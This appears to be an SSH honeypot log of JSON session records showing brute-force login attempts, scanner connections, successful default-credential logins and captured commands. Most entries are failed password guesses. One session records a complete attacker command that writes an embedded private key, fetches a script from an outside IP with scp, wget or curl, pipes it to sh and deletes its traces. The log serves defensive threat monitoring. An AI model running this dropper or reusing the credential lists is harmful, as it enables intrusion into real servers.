Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 5901
{
"id": "db5a7ebab1bb",
"src_ip": "109.160.32.103",
"start_time": "2026-10-09T16:26:19.128299Z",
"end_time": "2026-10-09T16:26:22.211944Z",
"duration": "3.1",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "5901",
"pass": "reza"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: cs618
{
"id": "b3cf5402aa9c",
"src_ip": "109.160.32.103",
"start_time": "2026-10-09T16:26:12.298877Z",
"end_time": "2026-10-09T16:26:15.155322Z",
"duration": "2.9",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "cs618",
"pass": "ubuntu@123"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: user42
{
"id": "a80f928a8ff0",
"src_ip": "109.160.32.103",
"start_time": "2026-10-09T16:26:04.753116Z",
"end_time": "2026-10-09T16:26:08.297278Z",
"duration": "3.5",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "user42",
"pass": "Server2026"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Credential acceptance event recorded. Target authentication: user / ikea
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "6be79c2ad8e1",
"src_ip": "109.160.32.103",
"start_time": "2026-10-09T16:25:56.964418Z",
"end_time": "2026-10-09T16:26:01.574545Z",
"duration": "4.6",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "user",
"pass": "ikea"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"COMMANDS RUN",
"RECONNAISSANCE",
"SUCCESSFUL LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: joshua-tn
{
"id": "ad9a2a7b04a0",
"src_ip": "109.160.32.103",
"start_time": "2026-10-09T16:25:48.772456Z",
"end_time": "2026-10-09T16:25:55.339955Z",
"duration": "6.6",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "joshua-tn",
"pass": "root!@"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: fivem
{
"id": "41fb2d18a120",
"src_ip": "109.160.32.103",
"start_time": "2026-10-09T16:25:40.509069Z",
"end_time": "2026-10-09T16:25:47.656581Z",
"duration": "7.1",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "fivem",
"pass": "lsfadmin"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: ricardo
{
"id": "dc600db77055",
"src_ip": "109.160.32.103",
"start_time": "2026-10-09T16:25:32.683683Z",
"end_time": "2026-10-09T16:25:41.638984Z",
"duration": "9.0",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "ricardo",
"pass": "r1o2o3t4"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: r-config-01
{
"id": "90f33baad006",
"src_ip": "109.160.32.103",
"start_time": "2026-10-09T16:25:24.933082Z",
"end_time": "2026-10-09T16:25:34.903445Z",
"duration": "10.0",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "r-config-01",
"pass": "drcomadmin123"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: george
{
"id": "7ee84c46bccd",
"src_ip": "109.160.32.103",
"start_time": "2026-10-09T16:25:18.062794Z",
"end_time": "2026-10-09T16:25:27.556255Z",
"duration": "9.3",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "george",
"pass": "ts3srv"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: yangweiqing
{
"id": "bae093f96027",
"src_ip": "109.160.32.103",
"start_time": "2026-10-09T16:25:11.651113Z",
"end_time": "2026-10-09T16:25:21.426850Z",
"duration": "9.8",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "yangweiqing",
"pass": "Pa713267w0rd"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: yangweiqing
{
"id": "ff6a2fd64c94",
"src_ip": "109.160.32.103",
"start_time": "2026-10-09T16:25:04.519184Z",
"end_time": "2026-10-09T16:25:14.727932Z",
"duration": "10.2",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "yangweiqing",
"pass": "web123"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: a1arlex
{
"id": "cbb55525802c",
"src_ip": "109.160.32.103",
"start_time": "2026-10-09T16:24:57.605390Z",
"end_time": "2026-10-09T16:25:08.905348Z",
"duration": "11.3",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "a1arlex",
"pass": "sxl1234"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: mc_s
{
"id": "37e517a34705",
"src_ip": "109.160.32.103",
"start_time": "2026-10-09T16:24:50.634164Z",
"end_time": "2026-10-09T16:25:02.821858Z",
"duration": "12.2",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "mc_s",
"pass": "femi"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: panfs-1-dton-svc
{
"id": "7895921d342e",
"src_ip": "109.160.32.103",
"start_time": "2026-10-09T16:24:44.186864Z",
"end_time": "2026-10-09T16:24:57.292577Z",
"duration": "13.1",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "panfs-1-dton-svc",
"pass": "kino"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: user21
{
"id": "b76fa782843f",
"src_ip": "109.160.32.103",
"start_time": "2026-10-09T16:24:38.017381Z",
"end_time": "2026-10-09T16:24:51.018206Z",
"duration": "13.0",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "user21",
"pass": "es"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: s9pierrick
{
"id": "a2590d9ac1cb",
"src_ip": "109.160.32.103",
"start_time": "2026-10-09T16:24:31.180963Z",
"end_time": "2026-10-09T16:24:43.530612Z",
"duration": "12.3",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "s9pierrick",
"pass": "ubuntu123456"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: khorshidi
{
"id": "bab62e6ba29e",
"src_ip": "109.160.32.103",
"start_time": "2026-10-09T16:24:24.794829Z",
"end_time": "2026-10-09T16:24:36.236692Z",
"duration": "11.4",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "khorshidi",
"pass": "yzb@123456"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 5923
{
"id": "192710686dc1",
"src_ip": "109.160.32.103",
"start_time": "2026-10-09T16:24:18.710712Z",
"end_time": "2026-10-09T16:24:28.944628Z",
"duration": "10.2",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "5923",
"pass": "1q2w3e4r"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: SYSUSER
{
"id": "5b111f8e8f17",
"src_ip": "109.160.32.103",
"start_time": "2026-10-09T16:24:12.414812Z",
"end_time": "2026-10-09T16:24:20.217635Z",
"duration": "7.8",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "SYSUSER",
"pass": "test@2025"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: ghost
{
"id": "a4239ce5c1cc",
"src_ip": "109.160.32.103",
"start_time": "2026-10-09T16:24:05.314559Z",
"end_time": "2026-10-09T16:24:11.491431Z",
"duration": "6.2",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "ghost",
"pass": "hadoop@1234"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: trytan
{
"id": "661d253de1da",
"src_ip": "109.160.32.103",
"start_time": "2026-10-09T16:23:57.881657Z",
"end_time": "2026-10-09T16:24:01.828775Z",
"duration": "3.9",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "trytan",
"pass": "pool"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "4027e8e4fc96",
"src_ip": "109.160.32.103",
"start_time": "2026-10-09T16:23:05.418508Z",
"end_time": "2026-10-09T16:23:13.419160Z",
"duration": "8.0",
"version": "SSH-2.0-Go",
"hassh": "084386fa7ae5039bcf6f07298a05a227",
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": []
}Credential acceptance event recorded. Target authentication: support / support
{
"id": "a8d5ddbefb8c",
"src_ip": "176.53.159.196",
"start_time": "2026-10-09T16:12:10.082916Z",
"end_time": "2026-10-09T16:12:11.289226Z",
"duration": "1.2",
"version": "SSH-2.0-Go",
"hassh": "eff4c24daffc8532c160e86e5f006e53",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "support",
"pass": "support"
},
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 50,
"tags": [
"SUCCESSFUL LOGIN"
]
}Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "8b4f945d27c0",
"src_ip": "147.185.132.112",
"start_time": "2026-10-09T16:05:47.569191Z",
"end_time": "2026-10-09T16:05:51.018056Z",
"duration": "3.4",
"version": "SSH-2.0-ZGrab ZGrab SSH Survey",
"hassh": "dd9bcf093c355da7000132131cb36fd0",
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": []
}Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "222bd54bc007",
"src_ip": "45.148.10.157",
"start_time": "2026-10-09T16:04:17.404456Z",
"end_time": "2026-10-09T16:04:18.175500Z",
"duration": "0.8",
"version": "SSH-2.0-PUTTY",
"hassh": "5bd26477da5440a6187bd3f1b39a429c",
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": []
}Credential acceptance event recorded. Target authentication: admin / 02111993
{
"id": "bc390e6b4c27",
"src_ip": "2.57.121.25",
"start_time": "2026-10-09T15:58:20.036200Z",
"end_time": "2026-10-09T15:58:26.070895Z",
"duration": "6.0",
"version": "SSH-2.0-PuTTY_Release_0.84",
"hassh": "3356ae6145fa86124298066e281ea2d9",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "admin",
"pass": "02111993"
},
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 50,
"tags": [
"SUCCESSFUL LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (5 distinct queries). Vector identities: tavia
{
"id": "3c48446880cf",
"src_ip": "2.57.121.112",
"start_time": "2026-10-09T15:28:04.366844Z",
"end_time": "2026-10-09T15:28:10.892156Z",
"duration": "6.5",
"version": "SSH-2.0-PuTTY_Release_0.84",
"hassh": "3356ae6145fa86124298066e281ea2d9",
"attempts": [
{
"user": "tavia",
"pass": "tavia"
},
{
"user": "tavia",
"pass": "tavia1"
},
{
"user": "tavia",
"pass": "tavia123"
},
{
"user": "tavia",
"pass": "tavia1234"
},
{
"user": "tavia",
"pass": "tavia12345"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (3 distinct queries). Vector identities: administrator
{
"id": "1418e918bbe7",
"src_ip": "193.46.255.86",
"start_time": "2026-10-09T15:26:00.812899Z",
"end_time": "2026-10-09T15:26:04.995533Z",
"duration": "4.2",
"version": "SSH-2.0-PuTTY_Release_0.84",
"hassh": "3356ae6145fa86124298066e281ea2d9",
"attempts": [
{
"user": "administrator",
"pass": "1234"
},
{
"user": "administrator",
"pass": "administrator123"
},
{
"user": "administrator",
"pass": "administrator"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "e571f1791244",
"src_ip": "18.218.118.203",
"start_time": "2026-10-09T15:20:22.103229Z",
"end_time": "2026-10-09T15:20:23.049108Z",
"duration": "0.9",
"version": "SSH-2.0-Go",
"hassh": "e54ef3ec27fe1fea7ab64d3fa05359fd",
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": []
}Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "3f8744391662",
"src_ip": "18.218.118.203",
"start_time": "2026-10-09T15:20:17.482602Z",
"end_time": "2026-10-09T15:20:17.509553Z",
"duration": "0.0",
"version": "",
"hassh": null,
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": []
}Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "1aad462886a9",
"src_ip": "192.168.0.1",
"start_time": "2026-10-09T15:15:16.842419Z",
"end_time": "2026-10-09T15:15:16.854786Z",
"duration": "0.0",
"version": null,
"hassh": null,
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": []
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: dietpi
{
"id": "c4093328882d",
"src_ip": "193.24.211.218",
"start_time": "2026-10-09T15:14:41.857910Z",
"end_time": "2026-10-09T15:14:44.040022Z",
"duration": "2.2",
"version": "SSH-2.0-libssh2_1.11.0",
"hassh": "14b2ddda386a4d1006108ccd231b42fc",
"attempts": [
{
"user": "dietpi",
"pass": "dietpi"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Credential acceptance event recorded. Target authentication: admin / 03031978
{
"id": "4e7d7414d696",
"src_ip": "2.57.121.25",
"start_time": "2026-10-09T14:53:24.008851Z",
"end_time": "2026-10-09T14:53:30.017189Z",
"duration": "6.0",
"version": "SSH-2.0-PuTTY_Release_0.84",
"hassh": "3356ae6145fa86124298066e281ea2d9",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "admin",
"pass": "03031978"
},
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 50,
"tags": [
"SUCCESSFUL LOGIN"
]
}Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "ccf79e652370",
"src_ip": "157.15.228.146",
"start_time": "2026-10-09T14:47:26.247825Z",
"end_time": "2026-10-09T14:47:26.251231Z",
"duration": "0.0",
"version": null,
"hassh": null,
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": []
}Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "889b77819bbd",
"src_ip": "157.15.228.147",
"start_time": "2026-10-09T14:46:55.406996Z",
"end_time": "2026-10-09T14:46:55.410130Z",
"duration": "0.0",
"version": null,
"hassh": null,
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": []
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: song
{
"id": "d19f98818980",
"src_ip": "88.147.30.59",
"start_time": "2026-10-09T14:44:58.687139Z",
"end_time": "2026-10-09T14:45:00.914955Z",
"duration": "2.2",
"version": "SSH-2.0-libssh_0.11.1",
"hassh": "03a80b21afa810682a776a7d42e5e6fb",
"attempts": [
{
"user": "song",
"pass": "123456"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "d1c9bc05a966",
"src_ip": "103.120.203.126",
"start_time": "2026-10-09T14:39:17.796747Z",
"end_time": "2026-10-09T14:39:17.800047Z",
"duration": "0.0",
"version": null,
"hassh": null,
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": []
}Credential acceptance event recorded. Target authentication: admin / admin
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "d24905fb2628",
"src_ip": "130.12.180.51",
"start_time": "2026-10-09T14:31:11.715926Z",
"end_time": "2026-10-09T14:31:13.879137Z",
"duration": "2.2",
"version": "SSH-2.0-Go",
"hassh": "16443846184eafde36765c9bab2f4397",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "admin",
"pass": "admin"
},
"commands": [
"uname -a; echo -e \"\\x61\\x75\\x74\\x68\\x5F\\x6F\\x6B\\x0A\"; cd /tmp || cd /var/tmp || cd /dev/shm; echo '-----BEGIN OPENSSH PRIVATE KEY-----; b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW; QyNTUxOQAAACDveEt+JtIVZGBVIbVkHvdkvQqdMiafu5/IMOvelH/yxgAAAJAt8FDRLfBQ; 0QAAAAtzc2gtZWQyNTUxOQAAACDveEt+JtIVZGBVIbVkHvdkvQqdMiafu5/IMOvelH/yxg; AAAEAr1wl+3JHkjA3ZtPtjd8bAtLVFo13eZ12Aw2QnFXC/ie94S34m0hVkYFUhtWQe92S9; Cp0yJp+7n8gw696Uf/LGAAAACGRsckBzZnRwAQIDBAU=; -----END OPENSSH PRIVATE KEY-----' > key.ppk; echo 'StrictHostKeyChecking no; UserKnownHostsFile /dev/null' > sshcfg; chmod 400 key.ppk; scp -s -F sshcfg -i key.ppk dlr@217.60.102.5:sh out_sh; if [ $? -eq 0 ]; then chmod +x out_sh; sh out_sh ssh >/dev/null 2>&1; else (wget --no-check-certificate -qO- https://217.60.102.5/sh || curl -sk https://217.60.102.5/sh) | sh -s ssh; fi; rm -rf sshcfg key.ppk out_sh"
],
"detailed_commands": [
{
"cmd": "uname -a; echo -e \"\\x61\\x75\\x74\\x68\\x5F\\x6F\\x6B\\x0A\"; cd /tmp || cd /var/tmp || cd /dev/shm; echo '-----BEGIN OPENSSH PRIVATE KEY-----; b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW; QyNTUxOQAAACDveEt+JtIVZGBVIbVkHvdkvQqdMiafu5/IMOvelH/yxgAAAJAt8FDRLfBQ; 0QAAAAtzc2gtZWQyNTUxOQAAACDveEt+JtIVZGBVIbVkHvdkvQqdMiafu5/IMOvelH/yxg; AAAEAr1wl+3JHkjA3ZtPtjd8bAtLVFo13eZ12Aw2QnFXC/ie94S34m0hVkYFUhtWQe92S9; Cp0yJp+7n8gw696Uf/LGAAAACGRsckBzZnRwAQIDBAU=; -----END OPENSSH PRIVATE KEY-----' > key.ppk; echo 'StrictHostKeyChecking no; UserKnownHostsFile /dev/null' > sshcfg; chmod 400 key.ppk; scp -s -F sshcfg -i key.ppk dlr@217.60.102.5:sh out_sh; if [ $? -eq 0 ]; then chmod +x out_sh; sh out_sh ssh >/dev/null 2>&1; else (wget --no-check-certificate -qO- https://217.60.102.5/sh || curl -sk https://217.60.102.5/sh) | sh -s ssh; fi; rm -rf sshcfg key.ppk out_sh",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 120,
"tags": [
"COMMANDS RUN",
"RECONNAISSANCE",
"SUCCESSFUL LOGIN"
]
}Credential acceptance event recorded. Target authentication: admin / admin
{
"id": "a4d7981d22f1",
"src_ip": "178.253.31.197",
"start_time": "2026-10-09T14:31:09.824382Z",
"end_time": "2026-10-09T14:31:11.533976Z",
"duration": "1.7",
"version": "SSH-2.0-libssh2_1.11.1",
"hassh": "19532158b559096b89b1a5f7d17175b2",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "admin",
"pass": "admin"
},
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 50,
"tags": [
"SUCCESSFUL LOGIN"
]
}Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "622516cf97e9",
"src_ip": "135.233.116.0",
"start_time": "2026-10-09T14:25:46.711582Z",
"end_time": "2026-10-09T14:25:46.727674Z",
"duration": "0.0",
"version": "MGLNDD_184.98.6.225_22",
"hassh": null,
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": []
}Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "a43fe62471ec",
"src_ip": "135.233.116.0",
"start_time": "2026-10-09T14:25:46.450405Z",
"end_time": "2026-10-09T14:25:46.638770Z",
"duration": "0.2",
"version": "SSH-2.0-Go",
"hassh": "e54ef3ec27fe1fea7ab64d3fa05359fd",
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": []
}Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "d30c5c7a4e55",
"src_ip": "167.0.247.124",
"start_time": "2026-10-09T14:19:50.913211Z",
"end_time": "2026-10-09T14:19:53.525196Z",
"duration": "2.6",
"version": null,
"hassh": null,
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": []
}Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "51673d5c4d2e",
"src_ip": "167.0.247.124",
"start_time": "2026-10-09T14:19:42.589094Z",
"end_time": "2026-10-09T14:19:43.527247Z",
"duration": "0.9",
"version": null,
"hassh": null,
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": []
}Credential acceptance event recorded. Target authentication: user / muller
{
"id": "65aeeecde014",
"src_ip": "193.46.255.86",
"start_time": "2026-10-09T14:06:55.147256Z",
"end_time": "2026-10-09T14:07:01.155494Z",
"duration": "6.0",
"version": "SSH-2.0-PuTTY_Release_0.84",
"hassh": "3356ae6145fa86124298066e281ea2d9",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "user",
"pass": "muller"
},
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 50,
"tags": [
"SUCCESSFUL LOGIN"
]
}Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "0cea53a62667",
"src_ip": "177.70.145.57",
"start_time": "2026-10-09T14:04:37.185074Z",
"end_time": "2026-10-09T14:04:37.188400Z",
"duration": "0.0",
"version": null,
"hassh": null,
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": []
}Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "cc8a45c5dffe",
"src_ip": "177.70.145.57",
"start_time": "2026-10-09T14:04:25.794066Z",
"end_time": "2026-10-09T14:04:25.797500Z",
"duration": "0.0",
"version": null,
"hassh": null,
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": []
}Unauthorized authentication attempt escalated. Dictionary traversal detected (5 distinct queries). Vector identities: staci
{
"id": "46a1793f8385",
"src_ip": "2.57.121.112",
"start_time": "2026-10-09T13:58:38.358724Z",
"end_time": "2026-10-09T13:58:44.931777Z",
"duration": "6.6",
"version": "SSH-2.0-PuTTY_Release_0.84",
"hassh": "3356ae6145fa86124298066e281ea2d9",
"attempts": [
{
"user": "staci",
"pass": "staci"
},
{
"user": "staci",
"pass": "staci1"
},
{
"user": "staci",
"pass": "staci123"
},
{
"user": "staci",
"pass": "staci1234"
},
{
"user": "staci",
"pass": "staci12345"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "b22ba6ffe434",
"src_ip": "181.63.178.66",
"start_time": "2026-10-09T13:56:26.656963Z",
"end_time": "2026-10-09T13:56:26.661960Z",
"duration": "0.0",
"version": null,
"hassh": null,
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": []
}Credential acceptance event recorded. Target authentication: admin / 03041976
{
"id": "1c001ee4e25e",
"src_ip": "2.57.121.25",
"start_time": "2026-10-09T13:47:59.702018Z",
"end_time": "2026-10-09T13:48:05.781838Z",
"duration": "6.1",
"version": "SSH-2.0-PuTTY_Release_0.84",
"hassh": "3356ae6145fa86124298066e281ea2d9",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "admin",
"pass": "03041976"
},
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 50,
"tags": [
"SUCCESSFUL LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: ftp
{
"id": "4ba657401e0e",
"src_ip": "193.24.211.218",
"start_time": "2026-10-09T13:47:48.079659Z",
"end_time": "2026-10-09T13:47:50.275929Z",
"duration": "2.2",
"version": "SSH-2.0-libssh2_1.11.0",
"hassh": "14b2ddda386a4d1006108ccd231b42fc",
"attempts": [
{
"user": "ftp",
"pass": "ftp"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}